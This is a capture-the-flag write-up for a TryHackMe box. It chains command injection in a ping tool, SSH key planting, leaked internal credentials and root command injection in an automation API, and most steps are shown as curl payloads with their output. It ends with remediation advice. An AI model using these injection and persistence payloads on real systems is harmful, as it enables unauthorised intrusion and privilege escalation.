CTF Write-up Boot2Root Web Security PrivEsc Command Injection

Infinity Pool — TryHackMe Hacker Holidays Day 11

Abishek Kumar 2026 15 min read Medium

Overview

The Byte Lotus Hotel runs an internal web portal for staff connectivity checks. What starts as a simple ping tool unravels into a chain of vulnerabilities: command injection, exposed internal APIs, credential leakage via a misconfigured telephony portal, and a root-level automation service with no input sanitisation.

🔗 Attack Chain Summary

Web App → Command Injection → SSH Foothold → Internal API Enumeration → Credential Leak → FreePBX Bearer Token → Root RCE via Automation API

[Web App — /internal/netcheck]
        │
        │  Command injection via ping host field
        │  User Flag: THM{n0_v1s1bl3_3dg3}
        ▼
[SSH Access — planted authorized_keys]
        │
        │  Internal port enumeration
        ▼
[Watchtower API — :3000/api/config]
        │
        │  Leaked FreePBX credentials + automation endpoint
        ▼
[FreePBX UCP — :8080 (via SSH tunnel)]
        │
        │  Voicemail template reveals automation bearer token
        ▼
[Automation API — :9000/jobs/export]
        │
        │  Command injection in "report" field — runs as root
        ▼
[Root Flag: THM{tr4c3d_t0_th3_h0r1z0n}]

Step 1: Recon & Source Code Discovery

Start with a basic nmap scan:

nmap -sV -sC -T4 <TARGET_IP>

Navigate to http://<TARGET_IP>:80 in your browser. The homepage looks like a hotel property portal. Before touching any features, view the page source and check JS files.

Browsing to /static/app.js reveals a hidden internal endpoint:

/internal/netcheck

This is a staff tool for pinging remote properties. It accepts a host POST parameter and passes it directly to a shell command — a textbook command injection setup.

🔍 Key Observation

Always inspect JavaScript source files for hidden endpoints. Client-side routing and API calls frequently reveal internal paths that aren't linked from the UI.


Step 2: Command Injection via /internal/netcheck

Test the endpoint with a benign ping first:

curl -s -X POST http://<TARGET_IP>/internal/netcheck \
  --data-urlencode "host=127.0.0.1"

The response shows a live ping output. Now test for shell injection using ; as a command separator:

curl -s -X POST http://<TARGET_IP>/internal/netcheck \
  --data-urlencode "host=127.0.0.1; id"

Response:

uid=1001(web) gid=1001(web) groups=1001(web)

🚨 Critical Finding #1

Command injection confirmed. The host parameter is passed directly to the shell without sanitisation. This gives arbitrary command execution as the web user.

Grab the User Flag

curl -s -X POST http://<TARGET_IP>/internal/netcheck \
  --data-urlencode "host=127.0.0.1; cat /home/web/user.txt"

Step 3: Plant an SSH Key for a Stable Shell

Working through curl is slow. Plant your SSH public key to get a proper shell.

On your attacker machine:

ssh-keygen -t rsa -b 2048 -f ./infinity -N ""
base64 -w0 infinity.pub

Copy the base64 output and inject it via the netcheck endpoint:

curl -s -X POST http://<TARGET_IP>/internal/netcheck \
  --data-urlencode "host=127.0.0.1;mkdir -p /home/web/.ssh;\
echo <BASE64_PUBKEY>|base64 -d > /home/web/.ssh/authorized_keys;\
chmod 700 /home/web/.ssh;\
chmod 600 /home/web/.ssh/authorized_keys;#"

Then SSH in:

ssh -i infinity web@<TARGET_IP>

You now have a stable, interactive shell as web.


Step 4: Internal Port Enumeration

Check what's listening internally:

ss -tlnp

Discovered Services

Port Service Notes
80 Edge App (Gunicorn) Public-facing web app
3000 Watchtower API Internal only
8080 Apache / FreePBX UCP Internal only
9000 Automation API Internal, runs as root
3306 MariaDB
5038 Asterisk AMI

Three Gunicorn applications are running:

ps aux | grep gunicorn

root  664  ...  /var/www/infinity_pool/automation/venv/bin/gunicorn --bind 127.0.0.1:9000 wsgi:app
web   665  ...  /var/www/infinity_pool/edge/venv/bin/gunicorn --bind 0.0.0.0:80 wsgi:app
svc-watchtower  666  ...  /var/www/infinity_pool/watchtower/venv/bin/gunicorn --bind 127.0.0.1:3000 wsgi:app

🎯 Target Identified

The automation service on port 9000 runs as root — this is the escalation target.


Step 5: Leaked Credentials from the Watchtower API

The watchtower service on port 3000 is readable via curl:

curl -s http://127.0.0.1:3000/api/health
{"bind":"127.0.0.1:3000","service":"watchtower","status":"ok"}
curl -s http://127.0.0.1:3000/api/config
{
  "automation_endpoint": "http://127.0.0.1:9000",
  "note": "internal network only -- do not expose",
  "ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
  "telephony_pass": "St4yN0t1c3d_2026",
  "telephony_portal": "http://127.0.0.1:8080/ucp",
  "telephony_user": "FreePBXUCPTemplateCreator"
}

🚨 Critical Finding #2

The config API has no authentication and exposes plaintext credentials: FreePBXUCPTemplateCreator / St4yN0t1c3d_2026, plus the automation endpoint URL. The ops note even acknowledges the credentials need rotation — but they never were.


Step 6: SSH Port Forwarding to Access FreePBX

The UCP panel on port 8080 is only accessible internally. Forward it to your local machine:

ssh -o IdentitiesOnly=yes -i infinity \
  -L 8081:127.0.0.1:8080 \
  web@<TARGET_IP>

Now open http://127.0.0.1:8081/ucp/ in your browser.

Log in with the credentials found above:

Credentials:

  • Username: FreePBXUCPTemplateCreator
  • Password: St4yN0t1c3d_2026

Step 7: Retrieve the Automation Bearer Token from FreePBX

Inside the FreePBX UCP dashboard, navigate to the voicemail section. You'll find a voicemail message with the CID:

"Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>

This is the bearer token for the automation API. Note it down:

cc_auto_7b3f9a1c4e0d2f6a

💡 Unusual Credential Location

Embedding an API key in a voicemail message is an unusual but real pattern for credential passing — always enumerate every service thoroughly, including non-obvious places like voicemails, emails, and log files.


Step 8: Discover the Automation API Endpoints

Probe the automation service health endpoint:

curl -s http://127.0.0.1:9000/health | python3 -m json.tool
{
  "endpoints": {
    "GET /health": "service status",
    "POST /jobs/export": {
      "auth": "Authorization: Bearer <automation key>",
      "body": {"report": "<report name>"},
      "desc": "archive the latest data export"
    }
  },
  "runs_as": "root",
  "service": "automation",
  "status": "ok"
}

The service self-documents its only endpoint and confirms it runs as root.


Step 9: Command Injection in the Automation API → Root

Test the export endpoint with the bearer token:

curl -sS -X POST http://127.0.0.1:9000/jobs/export \
  -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
  -H 'Content-Type: application/json' \
  --data-binary '{"report":"latest"}'
{"command":"tar czf /var/automation/exports/latest.tgz /var/automation/data 2>&1",
 "output":"tar: Removing leading '/' from member names\n"}

The report field is interpolated directly into a shell command — another unsanitised injection point. Confirm RCE as root:

curl -sS -X POST http://127.0.0.1:9000/jobs/export \
  -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
  -H 'Content-Type: application/json' \
  --data-binary '{"report":"test;id;#"}'
{"output":"uid=0(root) gid=0(root) groups=0(root)\n..."}

🚨 Root Command Execution Confirmed

The report field is interpolated directly into a tar command with no sanitisation. Since the automation service runs as root, this gives full root-level command execution.

Now read the flag:

curl -sS -X POST http://127.0.0.1:9000/jobs/export \
  -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
  -H 'Content-Type: application/json' \
  --data-binary '{"report":"pwned;cat /root/root.txt;"}'

🎉 ROOT FLAG CAPTURED!

THM{tr4c3d_t0_th3_h0r1z0n}

Full system compromise achieved — from a hidden ping tool to root in nine steps.


Full Attack Chain

1. Recon → /static/app.js reveals /internal/netcheck
         ↓
2. Command Injection → host=127.0.0.1; id → RCE as web + User Flag: THM{n0_v1s1bl3_3dg3}
         ↓
3. SSH Persistence → planted authorized_keys via injection
         ↓
4. Port Enumeration → ss -tlnp reveals :3000, :8080, :9000
         ↓
5. Watchtower API → /api/config leaks FreePBX creds + automation URL
         ↓
6. SSH Tunnel → :8080 → FreePBX UCP login
         ↓
7. Voicemail → bearer token cc_auto_7b3f9a1c4e0d2f6a
         ↓
8. Automation API → /health self-documents endpoints
         ↓
9. Root Injection → report field → tar command → root RCE
         ↓
     ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}

Key Takeaways / Remediation

❌ Vulnerable Patterns

# Unsanitised shell interpolation
os.system("ping " + user_input)

# Unauthenticated config API
GET /api/config → plaintext creds

# Credentials in voicemail
"Automation Key ..." <9000>

# Root-level service with injection
tar czf ... {report} ... 2>&1

✅ Secure Alternatives

# Use subprocess with arg arrays
subprocess.run(["ping", host])

# Require authentication on all APIs
@require_auth on /api/config

# Use secret management tools
HashiCorp Vault / env vars

# Least privilege — never run as root
User: svc-automation (no shell)
Always Inspect JS Sources

Hidden endpoints in client-side code are a common attack surface — never assume internal routes are secret.

Internal ≠ Secure

Internal APIs often have weaker security than public-facing surfaces. Always treat them as potential attack paths.

Credential Hygiene

Default template credentials with a "ROTATE" note that was never acted on — a classic operational failure.

Least Privilege

An export job has no business running as root. Principle of least privilege prevents injection from becoming root RCE.

💭 Final Thoughts

This box demonstrates how a chain of vulnerabilities — a hidden endpoint, unsanitised input, unauthenticated internal APIs, stale credentials, and an overprivileged service — can cascade into full system compromise. Each vulnerability alone might seem low-severity, but chained together they provide a direct path from anonymous web access to root.

AK
Abishek Kumar

Abishek Kumar

Cybersecurity Researcher | Web Developer